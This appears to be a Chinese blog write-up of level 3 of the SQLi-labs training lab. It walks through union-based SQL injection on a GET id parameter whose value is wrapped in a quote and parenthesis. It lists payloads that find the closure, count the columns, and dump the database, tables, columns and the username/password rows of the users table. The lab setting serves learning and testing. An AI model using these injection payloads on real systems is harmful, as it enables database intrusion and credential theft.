SQLI-labs-第三关

目录

知识点:单括号)字符get注入

1、判断注入点:

2、判断当前表的字段数

3、判断回显位置

4、爆库名

5、爆表名

6、爆字段名,以users表为例

7、爆值


知识点:单括号)字符get注入

思路:

SQLI-labs-第三关_第1张图片

SQLI-labs-第三关_第2张图片

1、判断注入点:

在url中输入?id=1

SQLI-labs-第三关_第3张图片

输入?id=1'  ,SQL语句语法错误 ,说明是字符型注入,附近有个括号,可能是括号闭合出错

SQLI-labs-第三关_第4张图片

输入?id=1' --+ ,依然报错,说明不是单引号闭合问题,而是括号问题

SQLI-labs-第三关_第5张图片

输入?id=1') --+ ,回显正常

SQLI-labs-第三关_第6张图片

这里就可以确认为括号闭合错误,根据上面的源码,跟我们的猜想是一致的。 

输入?id=1' --+ 因为后面的括号被我们注释掉了,所以依旧会报错,补充一个括号就完整不会报错,根据报错的提示信息可以得知。

2、判断当前表的字段数

?id=1')  order by 3 --+

SQLI-labs-第三关_第7张图片

?id=1')  order by 4 --+

SQLI-labs-第三关_第8张图片

报错,说明当前的数据表字段有3个

3、判断回显位置

?id=1')  and 1=2 union select 1,2,3 --+

SQLI-labs-第三关_第9张图片

4、爆库名

/?id=1')  and 1=2 union select 1,2,database() --+

SQLI-labs-第三关_第10张图片

5、爆表名

?id=1')  and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

SQLI-labs-第三关_第11张图片

6、爆字段名,以users表为例

?id=1')  and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

SQLI-labs-第三关_第12张图片

7、爆值

?id=1')  and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 1,1 --+

SQLI-labs-第三关_第13张图片

修改limit的值,以此类推,得到数据库所有的数据。


这篇文章就写到这里了,欢迎批评指出

你可能感兴趣的:(渗透学习之路,数据库,web安全,mysql)